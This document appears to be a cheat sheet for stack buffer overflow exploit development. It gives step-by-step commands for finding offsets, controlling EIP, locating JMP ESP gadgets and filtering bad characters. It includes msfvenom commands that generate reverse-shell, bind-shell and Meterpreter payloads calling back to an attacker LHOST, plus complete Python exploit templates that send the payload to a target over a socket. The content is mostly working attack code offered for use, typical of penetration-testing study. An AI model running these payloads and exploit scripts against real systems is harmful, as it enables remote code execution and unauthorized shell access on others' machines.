- Methodology Overview
- Step 1: Create Pattern
- Step 2: Find Offset
- Step 3: Verify EIP Control
- Step 4: Find JMP ESP Gadget
- Step 5: Identify Bad Characters
- Step 6: Generate Shellcode
- Step 7: Build Exploit
- Useful Tools
# Quick pattern create and shellcode generate
msf-pattern_create -l 500 && msfvenom -p linux/x86/shell_reverse_tcp LHOST=$lhost LPORT=$lport -b '\x00' -f python[ Padding (A*offset) ] + [ Return Address (gadget) ] + [ NOP sled ] + [ Shellcode ]
Basic workflow:
- Create pattern → Crash program → Find offset
- Verify EIP control with pattern like "BBBB"
- Find JMP ESP gadget in binary
- Identify bad characters
- Generate shellcode with msfvenom
- Build and send exploit
# Create 200-byte pattern
msf-pattern_create -l 200
# Save to file
msf-pattern_create -l 200 > pattern.txt
# Ruby version (older)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200After crashing the program, note the value in EIP register.
# Find offset from EIP value
msf-pattern_offset -q 0x37654136
# Example output: [*] Exact match at offset 140Using GDB:
gdb -q ./vulnerable_binary
(gdb) run $(cat pattern.txt)
# Program crashes
(gdb) info registers eip# Generate test payload: offset * 'A' + 'BBBB' + 'CCCC'
python3 -c 'print("A"*140 + "BBBB" + "C"*100)'If EIP = 0x42424242 (BBBB), you control EIP successfully.
# Find jmp esp in binary
ROPgadget --binary ./vulnerable_binary | grep -i "jmp esp"
# Alternative gadgets
ROPgadget --binary ./vulnerable_binary | grep -i "call esp"
ROPgadget --binary ./vulnerable_binary | grep -i "push esp; ret"
# Search in libc
ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 | grep "jmp esp"(gdb) file ./vulnerable_binary
(gdb) info files
# Note the .text section range (e.g., 0x08049070 - 0x08049212)
# Search for JMP ESP (FF E4)
(gdb) find 0x08049070, 0x08049212, 0xff, 0xe4
# Search for CALL ESP (FF D4)
(gdb) find 0x08049070, 0x08049212, 0xff, 0xd4
# Search for PUSH ESP; RET (54 C3)
(gdb) find 0x08049070, 0x08049212, 0x54, 0xc3| Instruction | Opcode |
|---|---|
| JMP ESP | FF E4 |
| CALL ESP | FF D4 |
| PUSH ESP; RET | 54 C3 |
| JMP EAX | FF E0 |
| CALL EAX | FF D0 |
Common bad characters: \x00 (null), \x0a (newline), \x0d (carriage return)
# Generate test buffer
badchars = b""
for i in range(1, 256): # Skip \x00
badchars += bytes([i])- Send badchars as payload
- Examine memory in debugger
- Identify where characters are corrupted
# GDB - examine memory
(gdb) x/100xb $esp
# Compare sent vs receivedmsfvenom -p linux/x86/shell_bind_tcp LPORT=4444 \
-b '\x00\x0a\x0d' \
-e x86/shikata_ga_nai \
-i 3 \
-f pythonmsfvenom -p linux/x86/shell_reverse_tcp LHOST=$lhost LPORT=4444 \
-b '\x00\x0a\x0d' \
-f pythonmsfvenom -p windows/shell_reverse_tcp LHOST=$lhost LPORT=4444 \
-b '\x00\x0a\x0d' \
-f python
# Meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$lhost LPORT=4444 \
-b '\x00\x0a\x0d' \
-f python| Option | Description |
|---|---|
-p |
Payload |
-b |
Bad characters to avoid |
-e |
Encoder to use |
-i |
Encoder iterations |
-f |
Output format (python, c, raw, exe) |
EXITFUNC=thread |
Clean exit method |
#!/usr/bin/env python3
import socket
import sys
RHOST = "TARGET_IP"
RPORT = 1337
OFFSET = 140
GADGET = 0x08049186 # jmp esp address
NOP = b"\x90" * 32
# Shellcode from msfvenom
buf = b""
buf += b"\xba\x6f\xa3\x8b\xeb..." # Your shellcode here
# Build payload
payload = b"A" * OFFSET
payload += GADGET.to_bytes(4, "little")
payload += NOP
payload += buf
# Check for bad characters
for b in (b"\x00", b"\x0a", b"\x0d"):
if b in payload:
print(f"[-] Bad character found: {b}")
sys.exit(1)
print(f"[+] Payload length: {len(payload)}")
# Send exploit
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
print(f"[*] Banner: {s.recv(1024)}")
s.sendall(payload + b"\n")
s.close()
print("[+] Payload sent!")
except Exception as e:
print(f"[-] Error: {e}")#!/usr/bin/env python3
import subprocess
OFFSET = 140
GADGET = 0x08049186
NOP = b"\x90" * 32
# Shellcode
buf = b"\xba\x6f\xa3\x8b\xeb..."
payload = b"A" * OFFSET
payload += GADGET.to_bytes(4, "little")
payload += NOP
payload += buf
# Run vulnerable binary with payload
subprocess.run(["./vulnerable_binary", payload])# Start with args
(gdb) run $(python3 -c 'print("A"*200)')
# Disassemble
(gdb) disas main
(gdb) disas vulnerable_function
# Examine registers
(gdb) info registers
(gdb) info registers eip esp ebp
# Examine memory
(gdb) x/50xw $esp # 50 words from ESP
(gdb) x/100xb $esp # 100 bytes from ESP
(gdb) x/s 0xaddress # As string
# Set breakpoint
(gdb) break main
(gdb) break *0x08049186
# Step
(gdb) stepi # Single instruction
(gdb) nexti # Next instruction
# Continue
(gdb) continueWindows debugger plugin for exploit development
# Find jmp esp
!mona jmp -r esp
# Find pattern offset
!mona findmsp
# Generate pattern
!mona pattern_create 2000
# Find pattern offset
!mona pattern_offset 0x37654136
# Find bad characters
!mona bytearray -b "\x00"
!mona compare -f bytearray.bin -a <ESP_address>
# Find modules without protections
!mona modules
- CVE Exploits - Known vulnerability exploits
- Reverse Shell - Reverse shell payloads